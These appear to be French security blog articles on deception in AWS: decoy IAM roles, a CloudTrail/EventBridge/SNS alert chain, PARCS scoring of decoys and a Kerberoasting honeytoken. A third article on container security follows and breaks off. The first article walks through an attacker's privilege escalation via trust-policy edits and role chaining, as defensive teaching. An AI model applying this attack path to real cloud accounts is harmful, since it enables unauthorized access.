Partons de l’idée selon laquelle un utilisateur non autorisé a obtenu des accès sur une machine EC2 (domainIntegrated-EC2) au sein du compte de test (infection initiale). Après une première connexion réussie, il tente d’accéder à des ressources couramment utilisées telles que Amazon Simple Storage Service (Amazon S3) ou essaye d’élever ses privilèges en assumant d’autres rôles (rôle chaining) liés au rôle auquel il a accès. 

Ce scénario de propagation latérale est une technique d’attaque courante dans les environnements Cloud en raison de la nature de leur architecture et du modèle de responsabilité du cloud computing, où le client est responsable de la sécurisation de ses applications, de ses données et du contrôle d’accès (alors que le fournisseur veille à la sécurité de l’infrastructure sous-jacente). 

Tel qu’illustré ci-dessous, les attaques de propagation latérale tirent parti des faiblesses des contrôles de sécurité du client, telles que des autorisations mal configurées ou l’application de mécanismes d’authentification trop faibles, pour obtenir un accès non autorisé à d’autres ressources dans l’environnement. 

Scénario du point de vue de l’attaquant 

0. Après avoir compromis une machine EC2 « domainIntegrated », l’attaquant s’aperçoit qu’un rôle lui est associé (« Semi-Admin-role ») : 

Enumération de la machine EC2 domainIntegrated 

Il énumère ensuite les droits du rôle « Semi-Admin-Role » :  

Enumération des droits du rôle Semi-Admin-Role 

Tout d’abord ce rôle a des privilèges de modification sur une ressource du compte « AWS – SHARED » : il peut en effet endosser (sts :assumeRole) et modifier (iam :UpdateRole) un rôle intitulé « LambdaAuto ». Il peut ensuite endosser (par « role chaining », étape 5 du schéma ci-dessus) un autre rôle nommé « SecurityAudit» dans un compte différent, intitulé AWS MASTER. 

L’attaquant réalise par ailleurs qu’il peut également assumer directement un autre rôle (« IAM-RO-Role ») du compte AWS – MASTER. Ce dernier rôle attire particulièrement son attention car le compte MASTER suggère par son nom un périmètre d’action bien plus important que le simple compte SHARED, et le rôle IAM-RO-Role évoque un périmètre de vision étendu sur les ressources de ce compte. 

1. L’attaquant endosse le « SemiAdmin-role » qui lui permet par la suite d’assumer le rôle « IAM-RO » et tenter d’autres actions qui lui permettront de bien analyser son champ de vision. 
2. En effet, après avoir assumé le rôle « IAM-RO », il procède à une énumération de l’IAM où il s’aperçoit des rôles et des utilisateurs dans son champ de vision :  

Liste des rôles dans le champ de vision du rôle IAM-RO 

Liste des utilisateurs dans le champ de vision du rôle IAM-RO 

Le rôle « SecurityAudit » attire particulièrement son attention grâce aux privilèges que ce nom suggère et la description du rôle qui donne des informations sur lesdits privilèges : 

Description du rôle SecurityAudit 

Toutefois, l’attaquant n’a qu’un accès en lecture sur les ressources listées. Il va donc chercher si certaines de ces ressources sont accessibles en écriture depuis le compte SHARED où il a de hauts privilèges. Par exemple, si certains rôles du comptes MASTER peuvent être endossés par des rôles du compte SHARED : 

Liste des rôles pouvant être assumés depuis un compte externe (ici le compte SHARED) 

L’attaquant investigue la relation d’approbation du rôle « SecurityAudit », qui justement, autorise un endossement par le rôle « LambdaAuto » du compte SHARED. 

3. De retour sur le compte SHARED, l’attaquant n’a plus qu’à vérifier que l’autre pendant de cette relation d’approbation, c’est-à-dire que le rôle « LambdaAuto » autorise bien dans sa politique d’approbation l’endossement du rôle « SecurityAudit ». Ce n’est pas le cas, mais le rôle « SemiAdminRole » lui permet de configurer cette autorisation. 

4. Une fois la politique d’approbation du rôle « LambdaAuto » modifiée, il peut maintenant assumer le rôle « LambdaAuto ». 

5. Puis, il endosse (par role-chaining) le rôle « SecurityAudit », le véritable leurre. 

Role chaining de l’attaquant 

Après sa tentative d’endossement du rôle « SecurityAudit » dont il espère les privilèges d’auditeur sécurité (annoncés en étape 1), l’attaquant se retrouve en réalité sans réels pouvoirs, par exemple : 

Exemple d’un accès refusé depuis le rôle SecurityAudit 

Création des leurres  

Le schéma ci-dessous révèle à présent les ajouts de leurres aux différentes étapes de l’attaque et leur configuration par le défenseur : 

Scénario du point de vue du défenseur 

0. Le rôle « Semi-Admin-Role » est le point d’entrée dans le scenario de leurrage. Il peut donc être associé à toute ressource susceptible d’être compromise (ici l’EC2 « domainIntegrated ») pour rediriger l’attaquant vers les leurres.  

Aucune alerte n’est configurée à ce niveau car la connexion du rôle Semi-Admin-Rôle à l’ensemble des ressources du compte SHARED rend probable le déclenchement d’un endossement involontaire et, par suite, d’alertes faussement positives. 

1. Une fois le rôle IAM-RO assumé, l’attaquant est donc invité dans un compte entièrement dédié au leurrage et se familiarise avec les ressources alentour, obtenant ainsi une vue d’ensemble complète de tous les rôles et utilisateurs du compte. 

2. En peuplant le champ de vision de l’attaquant, non seulement avec le leurre principal « SecurityAudit », mais également avec d’autres rôles et utilisateurs factices, nous nous assurons que l’aspect du compte semble crédible et que notre leurre-clé, le rôle SecurityAudit ne soit pas isolé. 

Nous ajoutons ainsi au sein du compte :  

• Des Users : différents noms d’utilisateurs attrayants pour l’attaquant.  
• Le rôle « LambdaFunction » : ce rôle est créé pour la simulation d’une fonction Lambda qui fait appel aux services AWS. 
• Le rôle « LogsAndS3Bucket » : un rôle créé avec objectif de faciliter l’accès aux services de journalisation et aux ressources de stockage S3 au sein du compte. 
• Le rôles « taskExecutionRole » : le rôle d’exécution des tâches pouvant être utilisé pour différents objectifs et services associés au compte. 

3. Le rôle « SemiAdminRole » a volontairement été configuré avec la permission (iam :UpdateRole) sur le rôle « LambdaAuto » lui permettant de modifier ce rôle et donc d’ajouter la relation d’approbation vers le rôle « SemiAdminRole ». Pour des raisons de surveillance, une première alerte peut être déclenchée à ce niveau lors de la mise à jour de la relation d’approbation de « LambdaAuto » permettant au « SemiAdminRole » de l’assumer. 

4. Le rôle « LambdaAuto » est créé volontairement comme la porte d’entrée vers le rôle « SecurityAudit », une fois sa relation d’approbation modifiée grâce aux privilèges du rôle « SeminAdminRole ». 

5. Le rôle « SecurityAudit » est volontairement configuré avec une relation d’approbation autorisant le rôle « LambdaAuto » du compte SHARED à l’assumer. 

6. A cette étape, l’attaquant avait supposé qu’il obtiendrait des droits d’auditeur de sécurité. Cependant, une politique de contrôle de sécurité (SCP) très restrictive a été appliquée, ne lui accordant aucun privilège sur le compte. 

La politique interdisant toutes actions depuis le rôle Security-Audit-Role 

Chaîne d’alerting 

Une chaîne d’alerting dans le cloud AWS fait référence à un moyen de communiquer des notifications ou des alertes générées par les services AWS aux utilisateurs ou aux équipes responsables de la gestion de ces services, leur permettant de prendre des mesures rapides pour résoudre les problèmes et minimiser les interruptions de service.  

Pour configurer une chaîne d’alerting, vous devez d’abord configurer les services AWS pour générer des alertes lorsque certains événements se produisent, comme un serveur en panne ou une application dépassant un seuil spécifique d’utilisation du processeur. Une fois ces alertes générées, elles peuvent être envoyées à la chaîne d’alerting appropriée en fonction des préférences de notification configurées par l’utilisateur ou l’équipe responsable de la gestion du service. 

Afin de détecter l’attaquant, nous utilisons les services AWS suivants pour créer la chaine d’alerting : 

• CloudTrail pour traquer les actions réalisées sur le compte AWS compromis ; 
• EventBridge pour détecter tout événement « AssumeRole » du rôle « SecurityAudit » et déclencher une alerte ; 
• Simple Notification Service (SNS) pour envoyer l’alerte par e-mail avec les informations recueillies lors de l’attaque. 

Illustration de la chaîne d’alerting 

Etapes de création de la chaîne d’alerting : 

Configuration de CloudTrail 

La première étape de la création d’une chaîne d’alerting sur AWS consiste à activer CloudTrail (s’il n’est pas activé) dans votre compte AWS. CloudTrail enregistre toutes les activités et calls API dans votre compte, ce qui peut être utile à des fins de sécurité, de conformité et de dépannage.  

Partant des logs générés dans CloudTrail, nous avons créé une règle EventBridge qui envoie des notifications au service SNS chaque fois que le rôle « SecurityAudit » est assumé (type d’événement : AssumeRole). 

Création d’une règle EventBridge 

Une règle permet de surveiller des types d’événements spécifiques et lorsqu’un événement correspondant se produit, il est routé vers le service associé à la règle et traitant l’événement (ici le service SNS). 

Le modèle d’événement permet de détecter tous les événements du type « AssumeRole » se produisant dans le compte utilisé et déclencher l’alerte. Afin d’éviter les faux positifs lors du déclenchement des alertes, nous avons affinés le modèle d’événement pour qu’il soit aussi précis que possible pour correspondre aux événements qui nous intéressent.  

De ce fait, il sied d’inclure des champs pertinents, tels que la source de l’événement, le type de détail ou des valeurs spécifiques, pour affiner les critères de correspondance. Cela permet de réduire les risques que des événements non liés déclenchent la règle. 

Le modèle d’événement détectant tous les événements « AssumeRole » sur le rôle « SecurityAudit » 

Le service Eventbridge doit donc être préalablement lié à la cible SNS.  

La cible liée à la règle EventBridge 

Configuration d’une rubrique SNS 

A cette étape, une rubrique SNS est créée et liée à un abonnement d’un point de terminaison par mail authentifié par la suite. Le sujet SNS sera la cible de la règle EventBridge. Après la création du sujet, on procède à l’abonnement par e-mail en sélectionnant l’adresse de messagerie comme protocole (point de terminaison) où on souhaite recevoir les alertes. 

On pourrait envisager d’autres cible que mail pour la réception de l’alerte (ServiceNow, SIEM, etc…). 

Détails de la rubrique SNS 

Personnalisation de l’alerte 

Afin de personnaliser le contenu de l’alerte et de n’afficher que les éléments importants recherchés, la fonction Transformateur d’entrée d’EventBridge a été utilisée.  

Elle permet de personnaliser le texte d’un événement avant qu’il ne soit transmis à la cible.  Pour ce faire, il sied de définir des variables JSON pour référencer des valeurs dans la source d’événement d’origine. 

Configuration du transformateur d’entrées 

Pour notre cas, les variables répertoriées ci-dessous constitueront le message de l’alerte : 

Création du transformateur d’entrée 

Modèle d’entrée 

Le modèle d’entrée va utiliser les variables définies précédemment au sein du message d’alerte final :  

 Création du modèle d’entrée 

Ainsi, après endossement du rôle « SecurityAudit », une alerte est envoyée au point de terminaison créé : 

Exemple du contenu de l’alerte par mail 

Coût des services AWS utilisés 

AWS offre une approche de paiement à l’utilisation pour la tarification de ses services cloud. Avec AWS, vous ne payez que les services dont vous avez besoin, tant que vous continuez à les utiliser et ce, sans contrat à long terme. Vous ne payez que les services que vous utilisez, et si vous cessez de vous en servir, aucun coût additionnel ou frais de résiliation ne vous sera facturé. 

Les services déployés dans le cadre de ce scénario n’ont pas vocation à être utilisé sauf dans le cas d’une intrusion donc d’un incident de sécurité. Les coûts associés sont donc négligeables. 

Evaluation du leurre avec la matrice PARCS 

Plusieurs critères permettent d’évaluer un leurre et voici les résultats de notre analyse au regard de la matrice PARCS : 

• Pertinence : 4/4 

« Diverses approches peuvent être adoptées pour efficacement repérer la compromission initiale d’une instance EC2 et la propagation latérale d’un attaquant Dans notre contexte, selon les ressources à notre disposition, une stratégie envisageable consiste à surveiller les opérations en analysant les journaux, ce qui permettra de détecter des actions malveillantes. Ces observations pourraient ensuite être utilisées pour générer des alertes destinées aux administrateurs. Par exemple, une alerte pourrait être déclenchée en cas de tentative d’intrusion via une attaque de force brute sur le service RDP des instances EC2 au sein de notre environnement AWS, grâce à GuardDuty. 

De plus, il serait possible d’utiliser une combinaison de services AWS tels que CloudTrail et EventBridge pour établir des règles de détection et d’automatisation des interventions en réponse à des activités spécifiques, notamment celles liées aux accès entre comptes (cross-account) et créer des règles de détection qui surveillent tous les événements d’endossement afin de déclencher les actions en cas d’événements correspondant.» 

• Attractivité : 4/4 

« Le leurre se distingue par un compte dédié, augmentant ainsi de manière significative son pouvoir d’attraction. En ayant accès aux métadonnées de toutes les ressources à sa portée, l’attaquant peut également vérifier divers niveaux de privilèges ce qui renforce substantiellement la crédibilité. Grâce à la capacité de visualiser les dates et heures des dernières utilisations des ressources dans son champ de vision, il peut en déduire que ces ressources sont rarement utilisées. Dans cette optique, une fonction lambda est mise en œuvre pour automatiser l’exécution de différentes ressources ou leur authentification, garantissant ainsi des preuves d’utilisation récentes. » 

• Risqué : 4/4 

« L’autorisation accordée au rôle IAM-RO ne confère des privilèges IAM à l’attaquant que dans le contexte d’un compte purement fictif. Grâce à une configuration appropriée de la SCP en amont, toutes les tentatives d’actions du rôle Security-Audit seront également contrées. Les seuls éléments délibérément introduits dans un environnement réel sont les rôles Semi-Admin et Lambda-Auto, qui sont soumis à des politiques rigoureuses empêchant toute attribution de droits ou de privilèges en cas de tentative d’utilisation malveillante. Ces politiques incluent un accès en lecture seule (IAMReadOnlyAccess) et une restriction empêchant toute modification des autorisations liées au rôle du compte, tel que défini par la SCP. » 

• Crédibilité : 3/4 

« La crédibilité du leurre peut être remise en question en raison des ressources disponibles à sa disposition et des limitations potentielles, notamment une Inline Policy qui restreint les autorisations et les actions possibles. Il est important de prendre en compte ces éléments, car ils peuvent susciter des doutes chez les attaquants et compromettre l’efficacité du leurre. Il est donc crucial de mettre en place des mesures qui rendent le leurre aussi réaliste et convaincant que possible, en veillant à ce qu’il ait accès aux ressources et aux autorisations pertinentes pour créer un scénario crédible. » 

• Scalabilité : 3/4 

« En fonction de la taille d’une infrastructure, il devient envisageable de mettre en place un déploiement et une maintenance fluides des composants, grâce à l’emploi de scripts automatisés habilités à exécuter des opérations sur les ressources. Toutefois, il est essentiel de garantir une surveillance minutieuse de l’intégralité des ressources afin de consolider la sécurité face à d’éventuelles atteintes et d’assurer une réaction rapide pour défendre un périmètre étendu. » 

En conclusion, la mise en œuvre d’un tel scénario de Deceptive Security dans le Cloud, offre une approche pour améliorer sa sécurité globale. Cela contribue à restreindre la capacité d’un attaquant à explorer et à se propager à travers le réseau en présentant des chemins trompeurs, en retardant leur progression et en permettant une détection et des réponses plus rapides. Les leurres, qui ressemblent à des cibles attrayantes, détournent l’attention et les ressources des attaquants des véritables actifs, ce qui accroît les chances de détection précoce. 

De plus, les mécanismes d’alerte jouent un rôle crucial en fournissant des informations rapides sur les intrusions potentielles aux équipes de sécurité, ce qui permet une réponse rapide aux incidents et limite l’impact des attaques. 

En combinant ces stratégies de défense, on renforce la posture de sécurité globale des environnements Cloud, on améliore leur résilience face aux cybermenaces en constante évolution et on garantit l’intégrité et la confidentialité des données sensibles.  

En utilisant ces mesures de sécurité trompeuses, les entreprises peuvent renforcer leur défense contre les cyberattaques. Toutefois, il est important de noter que la Deceptive Security ne remplace pas les solutions de cybersécurité standard existantes et que la protection contre les cyberattaques nécessite l’utilisation de techniques de sécurité complémentaires pour une défense optimale. 

ANNEXES – Services AWS 

Les définitions suivantes sont issues de la source : AWS documentation → docs.aws.amazon.com. 

 SCP – Politiques de contrôle de services : Les politiques de contrôle de services sont un type de politique permettant de contrôler de manière centrale les autorisations. Cela permet de veiller à ce que les grandes directives soient respecter pour tous les comptes AWS de l’organisation. 

EC2 – Elastic Compute Cloud : AWS EC2 permet de louer des serveurs (des instances EC2) pour répondre au mieux aux besoins de la charge de travail. 

STS – Security Token Service : AWS STS permet de demander des informations d’identification de sécurité temporaires pour les ressources AWS. Cela permet d’attribuer un accès temporaire aux ressources via des appels API, la console AWS ou le CLI (Console Line Interface) AWS. 

À noter : Chaque jeton STS possède un cycle de vie, défini lors de la création de celui-ci, pouvant aller entre 15 minutes et 36 heures. 

CloudTrail : AWS CloudTrail est un service qui enregistre les actions effectuées par un utilisateur, un rôle ou un service AWS. 

Fonction Lambda : La fonction Lambda est un service permettant d’exécuter du code. 

SNS – Simple Notification Service : Amazon SNS est un service web permettant de gérer l’envoi de messages (SMS, e-mails, HTTP.S, etc.). 

Merci à Charles BULABULA pour sa contribution à cet article. 

Cet article Deceptive Security : la solution pour une détection efficace dans le Cloud ? – Exemple d’application de la Deceptive dans le Cloud AWS  est apparu en premier sur RiskInsight.

Par ailleurs, nous évoluons vers des Systèmes d’Information construits sur une diversité d’environnements de plus en plus vaste, notamment grâce au Cloud, maintenant omniprésent dans les SI des entreprises. Cela leur permet d’élargir leurs capacités mais, d’un point de vue sécurité, accroît la surface et les risques d’attaques. 

Des techniques classiques de protection et de détection contre les intrusions existent déjà et se développent de manière exponentielle. Celles-ci sont efficaces pour les attaques les plus courantes mais ne sont bien souvent pas ou peu adaptées aux spécificités du Cloud. 

Ainsi, des questions se posent sur l’utilisation de stratégies proactives, telle que la Deceptive Security, permettant de garder une longueur d’avance sur les attaquants. Notamment dans le cadre de Cyber-Résilience : comment utiliser ce genre de technologie sur des environnements de types traditionnels et Cloud ? 

Dans quels cas utiliser des techniques de Deceptive Security ? Est-ce que les solutions de Deceptive Security dans le Cloud sont développées aujourd’hui ? Y a-t-il des stratégies spécifiques à envisager dans le cadre d’un environnement Cloud comparé au traditionnel ? 

Nous répondrons à ces questions dans une mini-série de 2 articles. Dans le premier article, nous vous montrerons comment développer et évaluer votre stratégie de leurre. Dans le second article, nous présenterons un exemple pratique de sécurité trompeuse dans AWS.

Elaborer et évaluer sa stratégie de leurrage 

Ambitions de la Deceptive Security 

La Deceptive Security dans les grandes lignes 

La « Deceptive Security » (désignée par « Deceptive » dans la suite de l’article), ou « leurrage numérique », est une technique de cyberdéfense qui fait face à l’intrusion d’attaquants dans un SI (Système d’Information). Ceci fonctionne grâce à la mise en place de pièges et/ou leurres dans un SI. Ces derniers ont pour objectif d’imiter des technologiques légitimes pour ne pas être repérés. 

Cette méthode permet de détecter des intrusions en générant des alertes, d’empêcher de nuire à l’infrastructure réelle mais aussi d’observer les pratiques utilisées par l’attaquant. 

Avant d’entamer ce sujet dans les détails, il est conseillé de parcourir l’article « Deceptive Security : comment arroser l’arroseur ? » qui décrit les principaux concepts de la « Deceptive Security ». 

Les grands objectifs de la Deceptive 

L’utilisation de la Deceptive sur un SI peut avoir plusieurs objectifs : 

• Détecter une intrusion 
• Distraire l’attaquant 
• Analyser les techniques utilisées lors de l’attaque 

Cette technologie peut être utilisée à différents degrés de maturité et selon les besoins identifiés.  

Effectivement, cette technologie permet de répondre à plusieurs besoins, vus ci-dessus, or, l’objectif est de déterminer en amont nos exigences face à cette technologie. Si on restreint le besoin à de la détection, il faut noter que la configuration, le déploiement et la maintenance de la Deceptive sera bien moins complexe que si on pousse au maximum les possibilités de cette technologie (exemple : mise en place de scénarios complexes pour leurrer l’attaquant et analyse stratégique de ses faits et gestes). 

Les atouts de la Deceptive  

Pourquoi la Deceptive ? 

Comme abordé dans l’introduction, les challenges actuels de cybersécurité sont nourris par le besoin de détection et réaction face à des attaques grandissantes. 

La Deceptive ne remplace pas les solutions de cybersécurité standards existantes. Plus complexe, elle agit en complément pour couvrir tous les types d’attaques, dont les plus sophistiquées. 

Cette technologie n’est pas conçue pour prévenir une attaque, mais pour alerter les équipes de sécurité, minimiser l’effet de l’attaque et observer le modus operandi de l’intrus (« Détecter, Distraire & Analyser »). 

Honeypot VS Honeytoken 

Présentation des termes 

Les leurres peuvent être de nature différente selon le besoin et comment on prévoit de les utiliser. Dans tous les cas, ils prennent l’apparence d’attributs composants notre Système d’Information. 

Les leurres les plus connus sont les « honeypots ». Ce sont des serveurs ou postes de travail qui vont venir imiter des machines réelles sur le réseau. On retrouve également ce qu’on appelle « honeynet » : un ensemble de serveurs rassemblés en réseau.  

Un autre type de leurres intéresse de plus en plus aujourd’hui. C’est un leurre qui vient se cacher directement sur un système. On parle d’abord de « honeyfiles » qui sont généralement représentés par des documents ou autres fichiers qui ont pour rôle de déclencher une alerte lorsque que quelqu’un vient interagir avec eux. Enfin, nous avons les « honeytokens » qui sont des données, informations, souvent des secrets ou clés utilisés pour accéder à une ressource factice sur le SI (un honeypot par exemple). 

Une différence fondamentale 

L’utilisation traditionnelle d’honeypots peut permettre l’observation et la compréhension des actions de l’attaquant en plus de la détection d’une intrusion. La difficulté dans ce cas est de configurer un leurre assez attractif et crédible pour que le cyberattaquant tombe dans le piège, sans pour autant livrer des informations pouvant compromettre un composant de notre réelle infrastructure. 

L’intérêt des honeytokens est que l’on va travailler un leurre plus complexe certes mais plus fin et très crédible, pour ensuite interagir avec le reste de notre piège. Sans les honeytokens, la probabilité que l’on piège un attaquant est plus faible et les résultats d’analyses pas toujours fiables. La dépendance que créer l’honeytoken avec son environnement le rend d’autant plus attractif comparé à un honeypot seul qui ne représente qu’un piège sans possibilité d’escalade par la suite. Pour que les honeypots soient efficaces, il faut recommander le déploiement d’un ou plusieurs honeynets complets, mais le nouveau souci que l’on rencontre ici est le coût d’une telle infrastructure. 

Développement de la technologie dans le Cloud 

Le défi aujourd’hui pour les éditeurs de solutions Deceptive les plus matures, est le développement de services spécifiques dans le Cloud. 

Effectivement, les entreprises utilisent de plus en plus le Cloud pour étendre leur stockage, déployer des machines virtuelles, des conteneurs, etc. Cette mise à disposition de services est très populaire et efficace or, l’intérêt pour les cyberattaquants augmente du même temps. Les templates, ou configurations par défaut facilitent la vie des entreprises mais peuvent augmenter les risques de cybersécurité. Même si de nombreux fournisseurs Cloud évolue beaucoup sur le sujet, les configurations par défaut ne répondent pas toujours aux préconisations de sécurité informatique. 

Le Cloud est donc un nouveau terrain de jeu pour les cyberattaquants. C’est pour cela que l’on s’intéresse aujourd’hui à l’adaptation de nos connaissances de la Deceptive pour également protéger les environnements et services Cloud. 

Aperçu des principaux éditeurs sur le marché 

Il faut noter que la Deceptive n’est pas réservée uniquement dans des cas d’usage trop complexes. Il existe aujourd’hui toutes sortes d’offres sur le marché. Certaines proposent des services permettant d’obtenir un outil clé en main complet, alors que d’autres privilégient le sur-mesure, la qualité des leurres et donc plutôt la possibilité d’utiliser leur outil pour créer soi-même ses leurres (configuration et maintenance non gérées par la solution en elle-même). 

Voici un aperçu des principaux éditeurs et leurs solutions :  

Pour certains, la tendance actuelle est de s’allier à d’autres outils ou d’intégrer leur solution à des EDR (Endpoint Detection and Response) pour augmenter l’efficacité de la technologie et répondre au besoin du marché. 

Comme exprimé précédemment, le challenge que certains ont choisi de relever est de s’adapter à un environnement Cloud. Par exemple, des solutions comme « Attivo Networks », rachetée par SentinelOne, développent des offres Cloud AWS qui propose la création de leurres en lien avec le service (e.g. : EC2, S3, AWS access keys, etc.). 

Comment construire et placer ses leurres ? 

Les stratégies de Deceptive  

Une fois avoir pris connaissance de cette technologie et à toutes les possibilités qu’elle apporte, il devient intéressant de se demander quelle.s stratégie.s adopter quant à la quantité de pièges et/ou leurres à implémenter et à la disposition de ces derniers dans le SI. 

Pour s’adapter aux différents cas d’usages, 3 stratégies se détachent répondant à des besoins distincts : 

Effectivement, la stratégie de Deceptive à adopter est souvent sur-mesure en fonction de l’infrastructure du SI et surtout en fonction des priorités et objectifs définis au préalable. 

À titre d’exemple : Si nous sommes dans le cas d’un besoin d’enrichissement de ses technologies de détection au sein de son SI, il peut être intéressant d’étudier la stratégie de « déploiement en masse » de leurres. Ceci a pour volonté de créer un SI fantôme et, ainsi, augmenter la probabilité que le cybercriminel tombe dans un piège qui déclenchera une alerte à destination des équipes de sécurité. 

La matrice PARCS 

Le challenge lorsque l’on parle de Deceptive, et plus spécifiquement de leurres, est de répondre aux questions : Qu’est-ce qu’un bon leurre ? Comment créer un bon leurre ? Où le placer ? Combien en placer ? etc. 

L’article « HoneyWISE : stratégie d’exploitation d’honeytokens en environnement Active Directory », écrit par Augustin TOURNYOL-DU-CLOS et Nathan FAEDDA, propose une stratégie de leurrage contre certaines attaques dans un contexte précis : l’AD (Active Directory). Nous aborderons également le sujet des honeytokens, mis en comparaison avec les honeypots, dans la suite de cet article. 

Les objectifs de cette étude étaient de tester simplement l’implémentation de leurres au sein de l’AD et de mesurer leur efficacité grâce à la matrice « PARCS ». 

PARCS est ainsi née sur la base de 5 critères, pensée à l’origine dans le contexte d’un environnement AD mais applicable à tous les environnements :  

Lors du processus de réalisation d’un leurre, il est conseillé de préparer un PARCS pour vérifier sa réflexion et valider que celui-ci correspond à nos attentes. Il faut également penser aux besoins minimums illustrés par ces 5 critères : Pertinence, Risque, Crédibilité, Attractivité et Scalabilité. 

À travers cette matrice, l’objectif est d’estimer un besoin pour ensuite déterminer une balance d’importance et de priorité sur ces critères (Est-ce que l’attractivité du leurre a de l’importance dans mon cas d’usage ? Est-ce que j’ai besoin d’une solution scalable ? À quel point ? etc.).  

Exemple de l’utilisation de PARCS : scenario Kerberoasting « Voler ou falsifier des tickets Kerberos » 

Le plus parlant est surement d’illustrer la présentation de la matrice PARCS avec un exemple exposé dans l’article « HoneyWISE ». 

L’attaque de l’AD appelée Kerberoasting est, « […] en synthèse, le brute force offline (pas d’échec de logon) d’un ticket Kerberos recevant le secret d’un compte de service, sans devoir envoyer un seul paquet à ce service ni même être administrateur local du poste compromis ». 

Le « […] Kerberoasting détourne le fonctionnement natif de Kerberos afin de réaliser une attaque. Ce détournement se fait sur les étapes 3 et 4 de l’authentification Kerberos présentées par le schéma suivant : » 

Pour ce cas d’attaque, Augustin TOURNYOL-DU-CLOS et Nathan FAEDDA proposent dans leur article de déployer un honeytoken contre le Kerberoasting (voir partie 2.3 « Description des scénarios de détection » – scénario 2). 

Voici le résultat, à travers PARCS, de l’étude de ce type d’honeytoken dans le cadre d’un scénario de Kerberoasting (16/20) : 

• Pertinence : 4/4 
  • « Les alertes générées par ce honeytoken sont fiables. En effet, à partir du moment où un ticket TGS est demandé pour accéder à service non-utilisé et inexistant, il apparait clairement qu’une action malveillante est en cours. » 
• Attractivité : 3/4 
  • « L’attractivité de ce token repose dans le fait que la réalisation de l’attaque ne nécessite pas de privilèges et permet potentiellement d’en gagner tout en étant silencieuse (génération de trafic jugé légitime). Sous réserve que le compte choisi pour leurrer l’attaquant paraisse privilégié et géré par un utilisateur (afin que le mot de passe soit vraisemblablement simple) ce honeytoken est donc fortement attractif. » 
• Risque : 4/4 
  • « Dans notre exemple un mot de passe de 64 caractères a été défini ce qui n’est pas cassable dans un temps raisonnable. » 
• Crédibilité : 3/4 
  • « Sous réserve du choix du nom et des attributs du compte en fonction du contexte de production dans lequel il est déployé, l’attaque se basant sur un fonctionnement normal de Kerberos, il ne sera pas étonnant de pouvoir la réaliser. La crédibilité est donc forte. » 
• Scalabilité : 2/4 
  • « Le déploiement du compte de leurrage peut se faire automatiquement sur plusieurs domaines grâce à des scripts. Néanmoins pour un leurre efficace, la contextualisation reste primordiale et constituera l’obstacle majeur à un déploiement de masse efficace. Il faudra donc prendre en compte le coût d’apporter cette contextualisation et de la maintenir à jour. » 

Pour conclure, les solutions de Deceptive Security sont à étudier au cas par cas. Il est impératif d’avoir déterminé au préalable les objectifs à prioriser, la stratégie à adopter, le périmètre concerné etc. 

Dans certains cas d’usage, surtout pour les entreprises ayant une sécurité informatique déjà mature, il est pertinent de mettre en place des solutions du type Deceptive Security. Ceci est à appliquer en complément d’outils de sécurité standards minimums tels que les firewalls, les antivirus, les systèmes de détection et/ou de prévention d’intrusion,… L’objectif étant de couvrir tous les types de cyberattaques (type « 0-day », sans pattern connu).  

Cette technologie peut être difficile à mettre en œuvre pour les entreprises de petite taille car elles n’ont pas forcément les outils de sécurité essentiels mis en place par défaut et ne disposent pas des ressources nécessaires pour configurer (ex : designer les leurres, créer les stratégies et scénarios) et maintenir une telle solution (ex : équipes de maintenance dédiées). 

Aujourd’hui, le marché est en expansion, principalement sur les sujets de détection grâce à la Deceptive, mais pas uniquement. L’intérêt des éditeurs à construire des solutions de Deceptive est cependant centré, pour le moment, sur les environnements traditionnels. Les solutions pour le Cloud AWS, Azure, etc., sont encore peu développées.   

Merci à Augustin TOURNYOL DU CLOS pour sa contribution à cet article.

Cet article Deceptive Security : la solution pour une détection efficace dans le Cloud ? – Stratégie de leurrage est apparu en premier sur RiskInsight.

En 2019, 84% des infrastructures de production utilisaient déjà des conteneurs[1]. Comme souvent, cette adoption massive s’est faite sans l’intégration des équipes CyberSécurité, parfois par méconnaissance de la technologie, parfois par une vision de simplicité et efficacité des équipes de développement.

Le besoin de sécurisation des conteneurs est plus présent que jamais, il est temps que les équipes Cyber comprennent la technologie pour définir les bonnes mesures de sécurité

Dans un premier temps, nous présenterons une comparaison entre les conteneurs et les machines virtuelles, puis nous reviendrons sur les raisons de l’émergence des conteneurs. Nous verrons ensuite comment les sécuriser tout au long de leur cycle de vie, étape par étape.

Machine virtuelle, conteneur : quelle différence ?

Mais pourquoi choisir un conteneur ? Pour comprendre cela, il faut tout d’abord regarder la différence entre une machine virtuelle et un conteneur

La différence principale entre une VM (Virtual Machine) et un conteneur réside dans les éléments inclus dans l’espace virtualisé. Un conteneur contient uniquement l’applicatif et les dépendances nécessaires pour son exécution alors qu’une VM contiendra un système d’exploitation sur lequel seront installées une ou plusieurs applications. Un conteneur ne possédant pas de système d’exploitation, il s’appuie sur celui de l’hôte sur lequel il s’exécute. Cette distinction permet de gagner en légèreté et complexité.

Mais alors, pourquoi les conteneurs ?

Les conteneurs n’ont pas été développés dans un objectif de renforcer le niveau de sécurité, mais plutôt pour des besoins d’infrastructure. Les principaux avantages sont :

• La consistance: les conteneurs peuvent être lancés sur n’importe quelle machine, ils fonctionneront de la même manière.
• L’économie: les conteneurs sont plus rapides et demandent moins de ressources que les VMs, ils coûtent donc moins cher.
• L’automatisation: il est beaucoup plus simple d’automatiser le déploiement d’un conteneur que la création d’une machine virtuelle (les technologies Cloud ont fait beaucoup de progrès sur ce point depuis).

Ces trois avantages, combinés à la popularisation de l’approche DevOps au sein des entreprises, ont fait exploser l’utilisation de conteneurs. Sans pour autant être mise de côté, la sécurité n’a pas été un objectif dans la conception des conteneurs. Ainsi, les bonnes pratiques de sécurité se sont mises en place au fur et à mesure du développement et de l’utilisation de cette technologie.

Les modèles d’exécution

Les avantages des conteneurs sont liés à un mode de fonctionnement spécifique qui s’appuie sur une cinématique d’exécution très particulière. Regardons à présent quels sont les modèles d’exécution des conteneurs.

Un conteneur peut être exécuté sur une machine hébergée on-premise ou dans le Cloud. Comme expliqué précédemment, un conteneur contient uniquement un applicatif et ses dépendances. Il ne possède pas de système d’exploitation et s’appuie ainsi sur les fonctionnalités de l’hôte. Par conséquent, un conteneur nécessitant des fonctionnalités Linux, devra fonctionner sur une machine au système d’exploitation Linux. Réciproquement, un conteneur requérant des fonctionnalités Windows s’exécutera sur une machine Windows. Cependant, des procédés de virtualisation, comme Hyper-V pour Windows, permettent de s’affranchir de ces contraintes.

Pour exécuter un conteneur sur une machine, il faudra simplement installer un logiciel de gestion de conteneurs (un container runtime). Parmi les plateformes de conteneurs, Docker, lxd et Containerd sont les plus utilisées.

